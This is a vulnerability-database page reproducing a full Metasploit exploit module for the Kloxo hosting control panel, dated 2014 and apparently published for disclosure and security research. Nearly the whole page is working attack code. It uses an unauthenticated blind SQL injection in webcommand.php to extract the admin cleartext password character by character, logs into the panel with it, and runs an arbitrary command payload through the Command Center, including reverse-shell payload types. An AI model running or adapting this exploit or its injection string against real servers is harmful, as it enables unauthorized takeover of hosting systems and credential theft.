Lucene search
K

Kloxo SQL Injection / Remote Code Execution

🗓️ 11 Feb 2014 00:00:00Reported by juan vazquezType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 16 Views

This module exploits an unauthenticated SQL injection vulnerability affecting Kloxo, for retrieving the admin cleartext password and achieving remote code execution through the web control panel

Code
`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
Rank = ManualRanking  
PASSWORD_PREFIX = '__lxen:'  
BASE64_RANGE = Rex::Text::AlphaNumeric + '+/='  
  
attr_accessor :password  
attr_accessor :session  
attr_accessor :server  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Kloxo SQL Injection and Remote Code Execution',  
'Description' => %q{  
This module exploits an unauthenticated SQL injection vulnerability affecting Kloxo, as  
exploited in the wild on January 2014. The SQL injection issue can be abused in order to  
retrieve the Kloxo admin cleartext password from the database. With admin access to the  
web control panel, remote PHP code execution can be achieved by abusing the Command Center  
function. The module tries to find the first server in the tree view, unless the server  
information is provided, in which case it executes the payload there.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Unknown', # Discovery, exploit in the wild  
'juan vazquez' # Metasploit Module  
],  
'References' =>  
[  
['URL', 'https://vpsboard.com/topic/3384-kloxo-installations-compromised/'], # kloxo exploited in the wild  
['URL', 'http://www.webhostingtalk.com/showthread.php?p=8996984'], # kloxo exploited in the wild  
['URL', 'http://forum.lxcenter.org/index.php?t=msg&th=19215&goto=102646'] # patch discussion  
],  
'Arch' => ARCH_CMD,  
'Platform' => 'unix',  
'Payload' =>  
{  
'Space' => 262144, # 256k  
'DisableNops' => true,  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic perl python gawk bash-tcp netcat'  
}  
},  
'Targets' =>  
[  
['Kloxo / CentOS', {}]  
],  
'Privileged' => true,  
'DisclosureDate' => 'Jan 28 2014',  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(7778),  
OptString.new('TARGETURI', [true, 'The URI of the Kloxo Application', '/'])  
], self.class)  
  
register_advanced_options(  
[  
OptString.new('SERVER_CLASS', [false, 'The server class']),  
OptString.new('SERVER_NAME', [false, 'The server name'])  
], self.class)  
end  
  
def check  
return Exploit::CheckCode::Safe unless webcommand_exists?  
return Exploit::CheckCode::Safe if exploit_sqli(1, bad_char(0))  
return Exploit::CheckCode::Safe unless pefix_found?  
  
Exploit::CheckCode::Vulnerable  
end  
  
def exploit  
fail_with(Failure::NotVulnerable, "#{peer} - The SQLi cannot be exploited") unless check == Exploit::CheckCode::Vulnerable  
  
print_status("#{peer} - Recovering the admin password with SQLi...")  
loot = base64_password  
fail_with(Failure::Unknown, "#{peer} - Failed to exploit the SQLi...") if loot.nil?  
@password = Rex::Text.decode_base64(loot)  
print_good("#{peer} - Password recovered: #{@password}")  
  
print_status("#{peer} - Logging into the Control Panel...")  
@session = send_login  
fail_with(Failure::NoAccess, "#{peer} - Login with admin/#{@password} failed...") if @session.nil?  
  
report_auth_info(  
:host => rhost,  
:port => rport,  
:user => 'admin',  
:pass => @password,  
:type => 'password',  
:sname => (ssl ? 'https' : 'http')  
)  
  
print_status("#{peer} - Retrieving the server name...")  
@server = server_info  
fail_with(Failure::NoAccess, "#{peer} - Login with admin/#{Rex::Text.decode_base64(base64_password)} failed...") if @server.nil?  
  
print_status("#{peer} - Exploiting...")  
send_command(payload.encoded)  
end  
  
def send_login  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.to_s, 'htmllib', 'phplib', ''),  
'vars_post' =>  
{  
'frm_clientname' => 'admin',  
'frm_password' => @password,  
'login' => 'Login'  
}  
)  
  
if res && res.code == 302 && res.headers.include?('Set-Cookie')  
return res.get_cookies  
end  
  
nil  
end  
  
def server_info  
  
unless datastore['SERVER_CLASS'].blank? || datastore['SERVER_NAME'].blank?  
return { :class => datastore['SERVER_CLASS'], :name => datastore['SERVER_NAME'] }  
end  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.to_s, 'display.php'),  
'cookie' => @session,  
'vars_get' =>  
{  
'frm_action' => 'show'  
}  
})  
  
if res && res.code == 200 && res.body.to_s =~ /<input type=hidden name="frm_subaction" value ="commandcenter">/  
return parse_display_info(res.body.to_s)  
end  
  
nil  
end  
  
def parse_display_info(html)  
server_info = {}  
pos = html.index(/<input type=hidden name="frm_subaction" value ="commandcenter">/)  
  
if html.index(/<input type=hidden name="frm_o_o\[\d+\]\[class\]" value ="(.*)">/, pos).nil?  
return nil  
else  
server_info[:class] = $1  
end  
  
if html.index(/<input type=hidden name="frm_o_o\[\d+\]\[nname\]" value ="(.*)"> /, pos).nil?  
return nil  
else  
server_info[:name] = $1  
end  
  
server_info  
end  
  
def send_command(command)  
data = Rex::MIME::Message.new  
data.add_part(@server[:class], nil, nil, 'form-data; name="frm_o_o[0][class]"')  
data.add_part(@server[:name], nil, nil, 'form-data; name="frm_o_o[0][nname]"')  
data.add_part(command, nil, nil, 'form-data; name="frm_pserver_c_ccenter_command"')  
data.add_part('', nil, nil, 'form-data; name="frm_pserver_c_ccenter_error"')  
data.add_part('updateform', nil, nil, 'form-data; name="frm_action"')  
data.add_part('commandcenter', nil, nil, 'form-data; name="frm_subaction"')  
data.add_part('Execute', nil, nil, 'form-data; name="frm_change"')  
  
post_data = data.to_s  
post_data = post_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')  
  
send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path.to_s, 'display.php'),  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'cookie' => @session,  
'data' => post_data  
}, 1)  
end  
  
def webcommand_exists?  
res = send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'lbin', 'webcommand.php'))  
  
if res && res.code == 200 && res.body.to_s =~ /__error_only_clients_and_auxiliary_allowed_to_login/  
return true  
end  
  
false  
end  
  
def pefix_found?  
i = 1  
PASSWORD_PREFIX.each_char do |c|  
return false unless exploit_sqli(i, c)  
i = i + 1  
end  
  
true  
end  
  
def bad_char(pos)  
Rex::Text.rand_text_alpha(1, PASSWORD_PREFIX[pos])  
end  
  
def ascii(char)  
char.unpack('C')[0]  
end  
  
def base64_password  
i = PASSWORD_PREFIX.length + 1  
loot = ''  
  
until exploit_sqli(i, "\x00")  
vprint_status("#{peer} - Bruteforcing position #{i}")  
c = brute_force_char(i)  
if c.nil?  
return nil  
else  
loot << c  
end  
vprint_status("#{peer} - Found: #{loot}")  
i = i + 1  
end  
  
loot  
end  
  
def brute_force_char(pos)  
BASE64_RANGE.each_char do |c|  
return c if exploit_sqli(pos, c)  
end  
  
nil  
end  
  
def exploit_sqli(pos, char)  
# $1$Tw5.g72.$/0X4oceEHjGOgJB/fqRww/ == crypt(123456)  
sqli = "al5i' "  
sqli << "union select '$1$Tw5.g72.$/0X4oceEHjGOgJB/fqRww/' from client where "  
sqli << "ascii(substring(( select realpass from client limit 1),#{pos},1))=#{ascii(char)}#"  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.to_s, 'lbin', 'webcommand.php'),  
'vars_get' =>  
{  
'login-class' => 'client',  
'login-name' => sqli,  
'login-password' => '123456'  
}  
)  
  
if res && res.code == 200 && res.body.blank?  
return true  
elsif res && res.code == 200 && res.body.to_s =~ /_error_login_error/  
return false  
end  
  
vprint_warning("#{peer} - Unknown fingerprint while exploiting SQLi... be careful")  
false  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation